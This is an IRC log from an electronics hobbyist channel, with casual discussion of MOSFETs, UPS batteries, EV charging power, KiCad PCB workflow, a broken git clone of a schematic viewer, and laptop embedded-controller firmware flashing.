tawrso what you're saying, restorer, is I should shelve the plan to get you to a hotel room to steal your kidneys?
tawrppreciate it
kmcjust a power mosfet
restorertawr: it'd do you no good, nope
restorertawr: other organs are all still good, though
mrdataNeutron-sl, how many legs does this smd transistor have?
Neutron-slmrdata: 3, in a SOT23 package
mrdataNeutron-sl, did you search
DocScrutinizer05Neutron-sl: oops sorry wrong link, here's a better one!readform&view=smd&cat=S&start=2001&count=500
Neutron-sltried various.. google, alldatasheet, as suggested
theBearNeutron-sl, oh, i meant the g-s voltage (what it takes to go from "off" to completely on at the controlling side of things) is low, so that little micros and logic ics can easily drive it
theBearand yeah, what kmc said
tawrNeutron-sl: what about octopart
tawrwhich is a scraper for all suppliers with 10x better search
theBearcourse ALL the post 1980 or so designed amazingly capable yet tiny looking fets anywhere pretty much fit that decription
theBearNeutron-sl, you can salvage from maybe a pc mobo or graphics card that is dead... the chunky ones near the coils
DocScrutinizer05Neutron-sl: sorry, no I68ß on either
theBearif you got wrong n vs p channel chances are the speed control for the prop/motor will be inverted and/or have small limits, so if you pick one and it spins, but not quite how it should at any moment, find another
kmcI worry a lot that my organs will crap out on me one day
Arm1nI will check it tomorrow its quite late now just finishing sorting some EE waste and plastic and metal
theBearbut most seem to be n in these cases cos there no level shifties needed if the fet is switching something higher than the logic voltage, unless there a pair, maybe one tiny and one big, in which case it likely a p and a n, err, or is that p and a p ? you get the idea, one can levelshift/anti-pull****-against-a-resistor the other
theBearalso, tiny amount of blowtorch and a sharp tap can do wonders for salvage on nasty giant groundplanes like that, but you gotta be just right or its just a mess fo burnt ex-electronics
mrdata. o O ( OH! )
password2kmc i think most everyones organs craps out someday
mra90can anybody provide simple RLC oscilator circuit
acetolineanyone here have T80-6, T50-6, and FT82-61 inductors?
acetolineI'm willing to pay
acetolineI've been looking at inductors and toroids all day, my brain is garbled
Sculptorwhat do you reckon guys
Sculptora damn fine job
acetolinewhat is it
mrdatarotary encoder?
Sculptorthat's a torque motor rotor
mrdataso those are magnets stuck to it?
theBeari was gonna guess electric powered turbojet engine
Sculptorwith a 2 component epoxy
Sculptorthat motor is slow rotating
Sculptorit's used for a cnc lathe turret
theBear oooh, that looks like the old 50/50 black goop+white goop epoxy that builders use ... that stuff sticks HARD
electrobotSculptor just linked to Emag VL5 turret reference point approach malfunction - YouTube
SculptortheBear, i used this epoxy
Sculptorit's a very good cheap 2 component epoxy, but it needs to cure 24hrs
tawrSculptor: there's some good epoxies out there
tawrwow that's super expensive
tawrfor like 50% more you can get 8oz+ of epoxy
curlyearsheigh hough
theBearlets go !
curlyearsnobody talking
CrazyLikeAFoxWalmart actually had a $40 UPS, 255W rated; Internal battery is good for maybe 45 minutes at 30w
theBearhuzzah !
intranickhow do you make theBear bark?
theBearman that IS pretty cheap
theBearintranick, set him on fire ?
curlyearsI've been reading about gallium oxide as a semmiconductor. Apparently has a HUGE energy gap
Loetmichelnearly useselss though, theBear
CrazyLikeAFoxbattery plugs in via an ATC fuse type connector, so easy enough to tap without cutting it up if it balks at extra battery
theBearquang duc styles, grr, that diem eh ?
intranickdouse him in gasoline, light him on fire.. WOOF
theBearACTION knows his obscure historical details
intranickhow do you make theBear meow?
Loetmichel255W is not half of what my IT-tech here at home needs at idle
theBearstroke his err, wait
intranickfreeze him solid, run him throw a bandsaw MRRROOOWWWWWWWWRRRRR
ozzzyACTION should chat with his hydro provider
curlyearshi, ozzzy
Loetmichelif you count in the switch, ISDN-PBX, router, DSL modem, etc. with the server. As any real IT guy would.
Arm1nCan KBPC 5010 be connected to the mains 220V ?
Loetmichelintranick: if absoulutely must post stoneage jokes: at least get them right. its a circular saw, not a bandsaw.
CrazyLikeAFoxLoetmichel: I only need 30w for my intended usage, but I'm also after a huge battery
LoetmichelCrazyLikeAFox: be careful. cheap UPSes have sometimes not enough heatsinking on the inverters to cope with larger batteries
ozzzymy computer is drawing 81W from my UPS.... I'm happy with that
curlyearsArm1n: no why would anyone here happen to know that? Don't you know how to read a sp[ec ificaTIONS PAGE?
CrazyLikeAFoxYou mean on the charger?
Loetmichelhad a few die on me for heat because i fitted a bigger batt.
ozzzybut it says my mains power is 138V
Loetmichelno. when running
Loetmichelthey only can do max power for so long without overheating
CrazyLikeAFox..inverter won't act any different with a larger battery
Loetmichelits calculated to the point that the battery is empty at that time
CrazyLikeAFoxand I'm /way/ under the max draw
LoetmichelCrazyLikeAFox: like i said: i had a few cheap ones die on my for that reason
Loetmichelmaster heatsink getting to hot because of more capacity in the batteries than in the heatsink and to low dissipation
curlyearsCrazyLikeAFox: incorrect. With a larger battery, the heat buildup is gr3eater, due to the longer run time. This c an lead to power semiconductors overhearing, and system failure.
Sculptortawr, not that expensive
tawrSculptor: it really is
Loetmichelcurlyears: he is safe though if he only uses less than 1/4 of the maximum inverter wattage
tawrthat syringe is usually .5oz, for 8 dollars, or 15 dollars for 8oz
CrazyLikeAFoxLoetmichel: 30w on a 255w inverter
Loetmichelthey should be able to provide that much sinking indefinetly
CrazyLikeAFox~1/8 capacity
Loetmichelshould work
curlyearsLoetmichel: "should" being the operative word, in this instance. *evil smirk*
Loetmichelkeep in mind to do a test though
CrazyLikeAFoxbased on it's load vs time chart, 40w is it's optimal load
CrazyLikeAFoxin unmolested form
Loetmicheland check the heatsinks thermal performance on long stretches of time
curlyearsCrazyLikeAFox is an invertrer molester! Pass the word, kep your innocent inverters away from him!!!! :)
LoetmichelAND if the UPS is from APC: modify the charging circuit slightly to stopp a bit early
Loetmichelthey tend to cook the patteries
CrazyLikeAFoxclaims a good 10 more minutes (45), than extrapolating from 10w or 80w would predict
CrazyLikeAFoxThis is an apc
CrazyLikeAFoxNo idea how to go about that, but the SLAs I'll test it with aren't new or in prefect shape anyways
Loetmichelapc is notorious to overchariging the (lead acid) batteries slightly, leading to early failure
CrazyLikeAFoxHrm, I could always connect [big battery] via a diode or something, and have a charger/maintainer plugged into the wall for it
restorerdammit USPS, gimme my Informed Delivery
SpeedEvilIf you don't need many cycles, but want occasional uptime, get a second hand UPS that can take external batteries and a 'deep cycle' battery.
restorerI need a separate address that's not a new apartment building or a PMB provider ._.
CrazyLikeAFoxSpeedEvil: I intend to buy a pair of 35aH SLAs eventually
restorerI bought a couple of Belkin/Verizon 12VDC-out UPS units at a thrift store
restorerof course both the batteries were dead enough
CrazyLikeAFoxI actually had a nicer apc I got via that way, but it had brain damage
CrazyLikeAFoxand was scrapped
Arm1ncurlyears: well it says 1000V but I wasnt sure
SpeedEvil - for exaple
darsieHow do you know when to stop discharging a lead acid battery? Integrate current? Measure electrolyte density?
CrazyLikeAFoxdarsie: terminal voltage
acetolinedarsie: when steam starts coming out, you should probably stop.
CrazyLikeAFoxno, steam is end of /charge/
SpeedEvildarsie: 10.?V
darsieat a certain load? Or oc?
SpeedEvilCrazyLikeAFox: steam comes out at -50% and under
SpeedEvildarsie: under load
CrazyLikeAFoxit'll just suffer till it won't rebound if you try to draw too much
acetolinemore seriously though, it's not as critical as you think. Measuring electrolyte is the 'best' method, but in reality, if it's in the 13-14 V range, it's fully charged
CrazyLikeAFoxthe cells don't seem to short untill you try and recharge it after killing it
CrazyLikeAFoxthen they shed some lead and sit there and boil till you unhook them
acetolinethere seems to be a whole religion devoted to how to charge lead-acids
acetolinewith some chargers using complicated 12-step charging methods with 'pulses' to 'remove sulfation', which is nonsense
restorermore than one, I'm sure
restorerthe Cult of Desulfation
acetolineall you need is just a constant-current charging curve up to say 13 V or so.
curlyears1000 V??????? I don't think so, not if this is intended for consumer application
RoChessacetoline, buzzwords sell better :)
tawracetoline: no way dude
tawrthere's a reason CTEK is the charger all the expensive cars use / are oem.
ELLIOTTCABLE*jumps into conversation with no context*
ELLIOTTCABLEwell, my car charges at 500V/600A
ELLIOTTCABLEso 1000V isn't that far-fetched, is it?
tawrpfft amateur
tawrmy truck can literally output 4500A for several seconds
tawrim not exaggerating either, heh
acetolinemy car can output several MW for < 1 second
acetolineonly once, though.
ELLIOTTCABLEI mean, it's more impressive when it's sustained for an hour, but w/e ;)
tawri have 2x odyssey 2150 (31m) usa made agm cells and a 200A alt
ELLIOTTCABLEalso, Tesla's newer inverters can push even more — idk if they increased the voltage, but they top out at 185,000W now
ELLIOTTCABLEthey're experimenting with liquid-cooled plugs for g
tawri have a 300A anderson quick-connect, with 0g wire feeding it and 2g jumper cables
tawrit's nice being able to jumpstart pretty much anything, without a battery in the receiving vehicle heh
DocScrutinizer05ELLIOTTCABLE: charging with 300kW?
ELLIOTTCABLEshit i fukt up
ELLIOTTCABLEsounds like it's variable voltage, but usually around 400V
ELLIOTTCABLEso — 300A @ 400V?
tawrthere is no way
tawrELLIOTTCABLE: 99% of homes in the usa have 200A service for the WHOLE house
ELLIOTTCABLEowners group claims 398 is the highest they've seen; but Wikipedia claims they're 450V-max
tawrthat's 200A @ 24v split phase
ELLIOTTCABLEtawr: welcome to EV lyfe rrofl
tawrmost homes cannot get over 300A service @ 240v, and as a general rule, you can't get 3phase at your home, either.
ELLIOTTCABLEin the middle of having the electrical company re-trench out to my place in montana; they're upping me to an "industrial-class" service with a 300A panel
Bird|otherboxtawr: a lot of big, new houses have 400A/240V these days
DocScrutinizer05>>you can't get 3phase at your home<< when you live in murrica, maybe
ELLIOTTCABLE@tawr the 300A @ 400V isn't home chargers, lmao; that's Tesla's absurd Supercharger installations. HVDC EV charger network.
VanUnamed3rd mouse caught and killed
tawryeah that's what I was saying, that's not going to be at a house, but you may be getting confused with the charger output voltage to the car
tawrvs the input voltage to the charger
ELLIOTTCABLEoh, who knows what service their inverters are drawing
tawrit can't be over the service at their house, ELLIOTTCABLE
ELLIOTTCABLEhigher voltage lower amperage, right? I'm a newbie, but that's usually more efficient for long-distance transport, right?
Bird|otherboxDocScrutinizer05, I do believe you could get 208Y/120 to a house in the US if you were really, really nice to the electric utility ;)
tawrthe max, would be 240v * 200A assuming they disconnect everything.
tawrthat gives you wattage
DocScrutinizer05ELLIOTTCABLE: simple way to sort that: what's you kWh energy of your car's battery, and how long for dull charge at such station?
Bird|otherboxtawr: Superchargers are found in commercial settings. wouldn't surprised me if they pulled all three phases off a 277Y/480 service
tawrthat's 48kw. if they get 300A service, it's 72kw
ELLIOTTCABLEway to sort what? I already quoted these numbers :P
DocScrutinizer05Bird|otherbox: I rather thought of 3Ph being standard in all German new installaltions
ELLIOTTCABLEcar's 100kWh, car accepts no more than 125kW (at ~55% SOC), which according to the 'pedias, is ~450V — so ~280A?
SmokinGruntsgooooood afternoon!
ozzzyso is 138v too much for residential mains?
DocScrutinizer05ELLIOTTCABLE: there's a missing variable in your equations: time to charge
ELLIOTTCABLEthough the inverter hardware of all the newest installations (last few hundred Superchargers) is supposedly capable of feeding individual cars at 185kW, not just 125kW, even though no current vehicle supports that yet
Bird|otherboxDocScrutinizer05, yeah. the US is weird in having a separate service for resi/light commercial and heavy commercial/institutional/industrial
ELLIOTTCABLE@DocScrutinizer05 extremely complicated. Li-Ion.
Bird|otherboxozzzy, what's the voltage on the other leg of the service?
ELLIOTTCABLEtl;dr hour and fifteen from 0 to 100, but only like 15 minutes in normal situations
ozzzyBird|otherbox, dunno.... I could check
ELLIOTTCABLEit sits at, like, 2-3kW when you're very near 0%, or very near 100%; so that's the lion's share of the charging time )=
ELLIOTTCABLEbrb shower, but happy to answer other questions? lol.
DocScrutinizer051hour for 100kWh is obviously ~100kW, so plausible
VanUnamedhow that circuit drawing software for linux was called
VanUnameddamn i cant remember
Bird|otherboxVanUnamed, are you looking for KiCAD?
VanUnamedit's to draw pcbs
Bird|otherboxKiCAD then
VanUnamedis there a ltspice for linux
Bird|otherboxVanUnamed, LTspice is very, very happy under Wine
Bird|otherboxit's probably the best choice if you want to do SPICE sims on Linux
restorerer, I gues not LTspice
restorerexcept for Wine
Bird|otherboxas ngspice doesn't support a lot of the PSPICE/... stuff that's floating out there
DocScrutinizer05LiCAD now comes with spice integration, I heard
DocScrutinizer05KiCAD even
Bird|otherboxVanUnamed, it sounds like you need either a cat or a snake to roam your house free-range
VanUnamedi cant have a cat lol
Bird|otherboxwhy's that?
ozzzyfalse alarm... the UPS is out of whack
VanUnamedi put a trap, which is essentially a cardboard box with a board and glue in it and a bait, they go in there and get stuck, and I can hear them
VanUnamedbut they're not in my room in my kitchen
DocScrutinizer05ELLIOTTCABLE: ((it sits at, like, 2-3kW when you're very near 0%, or very near 100%;)) yes, normal LiIon charging with softstart and CC/CV
ozzzyit says 138V... my multimeter says 125V
Bird|otherboxVanUnamed, what's the reason that you can't have a cat?
VanUnamedtoday I cleaned up where I want to build my structure to put PV, lolol.. i dug out about 10 buckets of broken roof tiles lolol
VanUnamedbecause I have 2 doors on my frnt door and not one, and it's hard to put a cat flap to let it out
VanUnamedat night
DocScrutinizer05ACTION revives the "rent a cat" idea
restorerI would love that; the other cats that live here would not.
DocScrutinizer05make that a BIG cat then ;-P
VanUnamedalso, something is puzzling me. I have 3 mobile networks that I get with one bar when i'm lucky, orange romtelecom and digi. Digi never gets well, orange I can get 2 bars sometimes, but their contracts are 50gb 7 eur mo, romtelecom is t-mobile and for8 euro they give you unlimited
VanUnamedissue is, WHY, one day I get orange good, another I get good romtelecom
VanUnamedand anoter day I get zero bars
DocScrutinizer05weather, literally
VanUnamedthe weather can affect this?
DocScrutinizer05yes, a lot
restorereven down to just wind direction and humidity
VanUnamedlike today was a bit misty, then got better, got romtelecom in my room, which is super hard that i get signal at all here.
DocScrutinizer05weather dides buy info about loss on phone providers' netowrks from athmospheric humidity
restoreror the positions/elevation of clouds even
VanUnamedi made a LaUC2 antenna with zero success
VanUnamedi have to buy an amplifier and place the antenna on a pole
DocScrutinizer05directional antenna on roof top might go a long way
VanUnamedyou want to go on my roof?
VanUnamedgood luck
DocScrutinizer05passive even
VanUnamedi need to build another antenna maybe
VanUnamedyagi I believe
DocScrutinizer05don't know, maybe there are provider offers for femtocell with directional antenna for situations like yours
VanUnamedi wonder also why i cant make an amplifier for 1800mhz.
DocScrutinizer05why 1800MHz?
DocScrutinizer05meh, that's most likely guessing at your side, right?
VanUnamed900 / 1900 mhz is 3g
DocScrutinizer053G bands are a quite a few already, 4G are zillion
VanUnamedthats why i need to buy the amplifier?
_abc_How much, exactly, did that red car launch cost out of this? Or is that on top of this?
VanUnamedthe sofware was eagle though lol
VanUnamedbutI cant build an amplifier cant i
roxfan_abc_: tesla != spacex
_abc_I realize that but some cross polination is assumed to occur?
CrazyLikeAFoxHe has enough money, ti doesn't matter if he turns a profit
DocScrutinizer05VanUnamed: good luck with "amplifier for bidir on unknown frequencies"
DocScrutinizer05VanUnamed: you most likely want a repeater
VanUnamedi would like to at least get the 2 bars I could get on a ladder on top of a tree outside inside
DocScrutinizer05passive antenna extension is a possibility to evaluate
DocScrutinizer05place an omnidirectional antenna at your living room and connect to a high gain directional antenna outside on top of pole, via low-loss coax
DocScrutinizer05with a few directional couplers you can even amplify RX "broadband" while not amplifying TX and rather relying on automatically increased TX power of your phone instead
SmokinGruntswhy's the initialism 'DM' apparently overtaking the traditional 'PM' ...?
SmokinGruntsI don't like it, and I blame people younger than me without any good reason.
MzrEBecause dungeon master doesn't mean anything to them, obvi.
SmokinGruntshehe good point!
SmokinGruntsyeah, for that matter, why go from dungeon master to game master?!
restorerDM is Twitterese
restorerit should not overlap preexisting services with established PMs
SmokinGruntsbut the kids, I tell ya! They're doin' whatever the please!
darsieMzrE: The Amiga game?
hanetzeranyone here do work with flexible pcbs? you know, copper clad kapton stuff?
DocScrutinizer05VanUnamed: google "passive repeater"
Bird|otherboxSmokinGrunts, re: dungeon master vs game master -- DM is a D&D-specific term of art, GM is game-generic (some other trad systems use different terminology altogether -- the White Wolf systems use "Storyteller" for instance)
VanUnamedViper-7: you cannot stink a room with e cig much. Not funny
SmokinGruntsI know, I'm just a lil' frisky today ;P
hanetzerBird|otherbox: basically Coca-Cola vs 'coke' :P
hanetzerSmokinGrunts: heyo buddy o/
SmokinGruntsyeah Paizo uses GM terminology, that's where I first heard it
SmokinGruntsahoy hanetzer!
SmokinGruntsorder those boards?
SmokinGruntsalso, I could make them smaller if ye'd like :o
Bird|otherboxhanetzer, yup
VanUnamedDocScrutinizer05: you know kite well
VanUnamedi made a schematics, but I cant make it turn into pcb tracks like on eagle?
hanetzerSmokinGrunts: not yet, but I will :) Smaller would be a plus, considering that would make them just a slight bit cheaper :)
hanetzerVanUnamed: what software you using?
VanUnamedkicad sorry
SmokinGruntsokies, as soon as I get back to windows I'll minify the whole shebang ;)
hanetzerhuh. never heard of that one :)
hanetzerSmokinGrunts: yays.
SmokinGruntsoh, also, it'd help them pulldowns to find the usual gnd pin on that connector
SmokinGruntsotherwise they aint gonna do much 'pullin'
hanetzerSmokinGrunts: I have a lot on my plate regarding this project; this is almost very end-game need. I still need to expand origami-ec to work with this slightly different 8051 mcu, and help expand it to actually do stuff other than flip leds and have a console
DocScrutinizer05VanUnamed: you need to export the netlist to pcbnew
DocScrutinizer05VanUnamed: then you see ratsnest in pcbnew
SmokinGruntswhat's origami-ec?
hanetzeroh, kicad correction. yeah.
hanetzerSmokinGrunts: sec
VanUnamedRATSNEST lol
hanetzerSmokinGrunts:;a=summary <<
VanUnamedand then?
VanUnamedi exported netlist to pcbnew
VanUnamedwhere;s pcbnew now?
SmokinGruntsa real rat's nest (you'll see why its called that in EE)
electrobotSmokinGrunts just linked to (Ratting with terriers - YouTube)
DocScrutinizer05in menu under tools
hanetzerSmokinGrunts: on most laptops you have what's called, rather uncreatively, an ec or embedded controller. it usually handles battery io, keyboard/mouse io, and misc stuff like actually turning the system on when you hit the on button
VanUnamedok im in pcbnew
SmokinGruntsI see
DocScrutinizer05depending on how new your kicad version (iirc) the components been autoplaced already for you, or you need to place them manually or via a plugin
SmokinGruntsoooooh that was a bad one
VanUnamedI go on export it did,net file but pcbnew hasn't this file type on import option
SmokinGruntsphatty split
VanUnamedwhat kind of plugin?
DocScrutinizer05VanUnamed: import netlist
DocScrutinizer05in menu, or even toolbar
SmokinGruntshanetzer, that's a form of git I'm not used to, how2use?
DocScrutinizer05and for component placing there is at least a macro
DocScrutinizer05though iirc even without that importing netlist places all components, though all in same spot
VanUnamedError: Cannot add new component "R1:/5A7F6CD5" due to missing footprint "".
DocScrutinizer05you need to assign footprints to your components
SmokinGruntsjust a normal 'git clone' from ?
VanUnamedhow do I do that?
VanUnamedsorry for th ebother
VanUnamedi never used thisone
VanUnamedonly eagle, but eagle sucks in comparison
hanetzerSmokinGrunts: its just a web front-end. you git clone
DocScrutinizer05kicad is a tad irritating when you come from eagle, but in the end it's better
hanetzerSmokinGrunts: yeah, I think that's it.
hanetzerDocScrutinizer05: like linux when coming from windows :^)
DocScrutinizer05VanUnamed: /join #kicad
SmokinGruntsoh also hanetzer do you have a connector pinout sheet you can link me to?
hanetzerSmokinGrunts: for the laptop this will be interfacing? Not offhand, but googling 'quanta r33 schematic' will lead you that way
DocScrutinizer05kicad beginning developer guide LOL
hanetzerSmokinGrunts: the overall point is to be able to simply breakout the ffc in order to be able to hook up $spi_flasher to write the ec firmware to the auxiliariy spi chip (1 megabyte)
SmokinGruntshanetzer, what peripheral did the 32pin ffc connect to on the mobo again?
hanetzerSmokinGrunts: the keyboard itself; a few pins are muxed with the spi data lines in a funny way
hanetzerSmokinGrunts: basically, if you pull two of the superio pins low it will basically give you a straight-shot to the spi flash
hanetzerlayout is like this: ec-spi-flash<->ec<->keyboard-connector
SmokinGrunts ?
DocScrutinizer05^ha(like linux) hehe, pretty much, yes
DocScrutinizer05hanetzer: ^^^
hanetzerDocScrutinizer05: hehe.
hanetzerSmokinGrunts: yeah, that's the one. I need to make some good board photos
SmokinGruntsyes pls
hanetzerDocScrutinizer05: there's also a brdview; I don't know if its on the outer internets, but I can upload a copy for you to dl
hanetzerSmokinGrunts: erm, you. and here
SmokinGruntsalso, I'd have thought there to be a dedicated gnd pin, but it doesn't appear so
SmokinGruntsplus they already have pullups included, so I can remove that from the breakout ;)
hanetzerSmokinGrunts: doesn't matter. gonna hook it to the mb gnd via a gator clip prolly
DocScrutinizer05hanetzer: I think I already used it
hanetzerDocScrutinizer05: hmm?
DocScrutinizer05hanetzer: did you notice eeshow?
hanetzerDocScrutinizer05: no?
hanetzerI have no context for what you're asking
DocScrutinizer05sorry for shameless advertising ;-)
Ducklewhat do I need for 5 USD from
DuckleI need to get to 20 usd for free shipping
SmokinGruntshanetzer, there you go! I forgot about the exposed gnd strip I added hah
Duckleoh and it has to ship from the EU
SmokinGruntsI'll leave the footprints so you can populate at your discretion
restorerACTION muches on fries
DuckleYou've got to be kidding me.
DuckleArrow doesn't have current or output power as a parameter for DC-DC converters
Duckleoh well dammit. They increased minimum order to 50 on arrow :(
SmokinGruntsoh hanetzer, do you have any interest in mounting holes?
DocScrutinizer05hanetzer: I probably mixed that up with OpenBoardView. what's brdview?
SmokinGruntslol DocScrutinizer05 I'm tryna build OpenBoardView from sauce now ;)
hanetzerSmokinGrunts: personally, no, but don't think in terms of 'just me'. Hopefully one day the ec firmware will be feature complete and other weirdos will want to flash it onto their machine :)
SmokinGruntsokay, I'll add em then :)
hanetzerDocScrutinizer05: honestly its the same thing, but another Coca-cola vs coke thing :)
DocScrutinizer05ah, ok
DocScrutinizer05hanetzer: if you gonna give eeshow a try, let me know what you think please
hanetzerDocScrutinizer05: sure. I'm always up to try cool foss stuff :)
DocScrutinizer05pro tip: don't miss the parameter to limit number of history versions rendered when invoking eeshow on large projects with hundreds of versions in git
DocScrutinizer05I tried to speak werner into using a sane default like 20 or 30, but he doesn't like such stuff
SmokinGruntsDocScrutinizer05, I'll give it a go as well :)
SmokinGruntshanetzer, do you have that part number/link I linked you for the 32pin ffc connector from mouser?
SmokinGruntsI'm making a little project log to keep myself organized heh
hanetzerSmokinGrunts: right now, no, but its currently open in a tab on my home machine's browser. Currently at work, ssh'd back to my home machine
hanetzerSmokinGrunts: soon I will have to see about snooping a bit on the current firmware's ec talk; coreboot 'works' but the keyboard itself is gibberish :)
SmokinGruntshmm DocScrutinizer05 captain@ss-minnow:/media/captain/Arc/Hanetzer$ git clone
SmokinGruntsCloning into 'eeshow'...
SmokinGruntserror: Unable to get pack index
hanetzerSmokinGrunts: prolly bad connection
SmokinGruntserror: Unable to find d511905c1647a1e311e8b20d5930a37a9c2531cd under
SmokinGruntsCannot obtain needed blob d511905c1647a1e311e8b20d5930a37a9c2531cd
SmokinGruntswhile processing commit 025d5951aabf6c69109c15ca3a13808820c57125.
kmcI'm drinking this
kmcit's... very sour and astringent
kmcand interesting
DocScrutinizer05SmokinGrunts: I can reproduce this, yep
DocScrutinizer05SmokinGrunts: could you try the zip etc from please? I don't know how to fix the issue right now
SmokinGruntsalso, for your referenceL
SmokinGruntsl = :
SmokinGruntsaha, DocScrutinizer05 network error
SmokinGruntscan't even dl the zip
DocScrutinizer05damn, something fecked up git
acetolinewhy is it so hard to find RF toroids
DocScrutinizer05SmokinGrunts: our best git guy is looking into it
kmchow is the transition band of a filter defined
kmcfrom 3dB to ???
SmokinGruntsDocScrutinizer05, noice
SmokinGruntskmc, it's passband <-> stopband/corner freq
SmokinGruntstotally depends on frequencies of interest
kmchow do you define the corner though
SmokinGruntswell, ideally you'd just go 'boop!' and there it is
kmcbut these are continuous asymptotic things right? as in, the response is never perfectly 1.0 or 0.0
SmokinGruntsbut then reality sets in, and component properties and filter type take us into the sorta graphs we usually see
kmcmaybe i'm not understanding
kmcwell I'm looking at digital FIR filters so they're ideal in the component properties sense
SmokinGruntsbest is to use a good model, and graph expected response
SmokinGruntsthat's why I suggest matlab so much ;)
kmcI'm learning it now :)
xerpianybody who knows about display timings (HSW, HBP, HFP, VSW, etc)?
kmcI have never heard of any of those things
hanetzerdisplay timings, gotta do with hsync and vsync iirc
SmokinGruntsswitching to windox, brb
xerpihanetzer, exactly
xerpiHSYNC - Horizontal back porch (HBP) - Pixel Columns - Horizontal front porch (HFP)
xerpiso I'm doing some reverse engineering and I've found this code:
xerpiany idea what the if (timing_info->mode == 1) is calculating?
xerpithe else part is pretty straightforward
hanetzerxerpi: no clue, not my area of ''expertise''
xerpihanetzer, no worries, thanks anyways :)
xerpiI've drawn a clearer diagram btw:
SmokinGruntsxerpi its a class checking if the timing mode is interlaced or not; if it is, timing.mode returns 1
xerpiSmokinGrunts, not really, it's calculating the number of active (aka actually showing pixels) vertical lines
SmokinGrunts"any idea what the if (timing_info->mode == 1) is calculating?" ?
xerpigiven a timing_info struct which contains vtotal, VSYNC, VBP, VFP
SmokinGruntsohhh calc'ing, not "wut do?"
xerpiI meant the code on that if part
xerpivtotal - (VSYNC + VBP + VFP) is clearly the vertical active lines
DocScrutinizer05SmokinGrunts: 2018/02/11 00:03:58 [crit] 1481#1481: *1277129 open() "/var/lib/nginx/fastcgi//1/44/0000011441" failed (13: Permission denied) while reading upstream, client:, server:, request: "GET /git/eeshow/objects/pack/pack-542410f5ee9bc938dc69338828dc12e983a6c684.idx HTTP/1.1", upstream: "fastcgi://unix:/run/fcgiwrap.socket:", host: "" FSCK systemd!!
xerpibut what about vtotal + 1 - 2 * (VSYNC + VBP + VFP)?
hanetzeras long as you stick to arch and not ~arch its actually very stable :)
hanetzerACTION personally runs ~amd64
LordCrcwhen simulating an opamp circuit in ltspice, using univ opamp2 model, i have the opamp driving a mosfet directly... why am i seeing the opamp output (thus gate voltage) rise above the opamp's vcc by several volts? as in, vcc=12, opamp output rises to 14.5v (though goes back down to 12 rather quick)
kmcfuck systemd indeed
LordCrcis it due to some internal capacitor doing something funky?
kmcthe op amp positive rail is 12V?
kmcthat is odd
jaggztCasper, my nexus 5x had a good camera in it.
kmccan you post a schematic?
jaggzt Nexus 5x
electrobotjaggzt just linked to
jaggztbrand new Revvl Plus:
electrobotjaggzt just linked to
DocScrutinizer05SmokinGrunts: hanetzer: try again please
DocScrutinizer05should be ficed, thanks for letting me know
SmokinGruntsbrb, switching to linux
LordCrckmc: screenshot here!As29eTNFHrsuv03s1ocNFWHdf_eS
jaggztI wonder if they try to hide their garbage cameras by refusing to give jpeg quality settings in the cam app..
electrobotLordCrc just linked to (Microsoft OneDrive - Access files anywhere. Create docs with free Office Online.)
LordCrckmc: note the circuit may be silly, i was just fooling around :)
hanetzeryou know, with all the diy keyboard projects out there, I'm slightly surprised no one has (to my knowledge) done some diy mice
DocScrutinizer05ooh I think some did
jaggzthanetzer, I considered it, but just made a holder over an existing mouse.. and a separate set of mouse buttons
kmcmy fried converted an old school macintosh mouse to USB
DocScrutinizer05but since a mouse is just an optical sensor and a few switches in a case, there's not much to it really
hanetzerprollem is, keyboards are (relatively) simple. just a buncha off/on switches
jaggztand the separate mouse buttons were just switches I fed to an existing mouse.. I had troubles with the MCU usb libraries' serial support (for debugging) in windows
LordCrckmc: or possibly the mosfet model? it's an imported model from infineon
SmokinGruntsDocScrutinizer05, can you link me again :x
kmcis this a push pull output stage for something?
DocScrutinizer05git clone
LordCrckmc: electronic load, where i was fooling around with dividing the voltage evenly between the two mosfets
jaggztwhat the hell can I do with a roll of ribbon cable with plastic fiber optic lines in it, with nice copper mesh shielding
jaggztstarting 5 pics in
LordCrckmc: so the bottom one is current controlled, and the top one was meant to try to track the midpoint voltage (so half the voltage is over it)
jaggztat the 8th pic you see the black roll with the tin-snips
LordCrckmc: again, silly idea, just curious about the voltage spike on the Vg
LordCrc(the idea came about as i was reading about the Spirito effect)
SmokinGruntsDocScrutinizer05, captain@ss-minnow:/media/captain/Arc/Hanetzer/TMhs$ eeshow Quanta.bdv
SmokinGruntsQuanta.bdv: unknown file type
DocScrutinizer05what's bdv?
DocScrutinizer05try a .pro or .sch
hanetzerDocScrutinizer05: its a boardview file. OpenBoardView understands it.
DocScrutinizer05eeshow is for viewing schematics, not boards
LordCrckmc: same behavior with builtin nmos model, so guess it's not something borked with the imported model
SmokinGruntswell, that solves that!
banandanaACTION burps
SmokinGruntsI'm still gonna try it, I wanna see your neo900 example
DocScrutinizer05there must be an instruction on how to fit clone neo900 ee somewhere
hanetzerSmokinGrunts: heh. I had some pretty rad reuben burps earlier. nothing like corned beef/pastrami & saurkraut to put a twang on them :P
DocScrutinizer05git clone even
SmokinGruntshell yeah @ sauerkraut reubens!
kmchanetzer: sounds delicious
SmokinGruntsDocScrutinizer05, do I need kicad for this?
hanetzerit was quite tasty. along with some tomato basil soup (pint) on the side, made for a very good meal :)
SmokinGrunts"/usr/local/kicad/library/kicad-libs/components/powered.lib: No such file or directory
SmokinGruntsoh, the readme's actually meant to be read?! I see, I see...
DocScrutinizer05gosh! btrfs-cleaner process hogs my whole workstation
SmokinGruntsyour mainpage walkthrough documentation needs updating then ;P
DocScrutinizer05because of README?
SmokinGruntsthe "git reset --hard 57eebdcf573311c049bc57527bc03a517aff0fef" command fails
SmokinGruntsfirst one
DocScrutinizer05yeah, I'm not even sure this is a reasonable way to make friends with eeshow
DocScrutinizer05maybe best clone neo900 ee, cd hw/ee; make view
DocScrutinizer05I hope it succeeds to DL all the datasheets
DocScrutinizer05 ==GUI mode==
Mad7ScientistIs there a capacitor 5mm to 8mm lead spacing converter?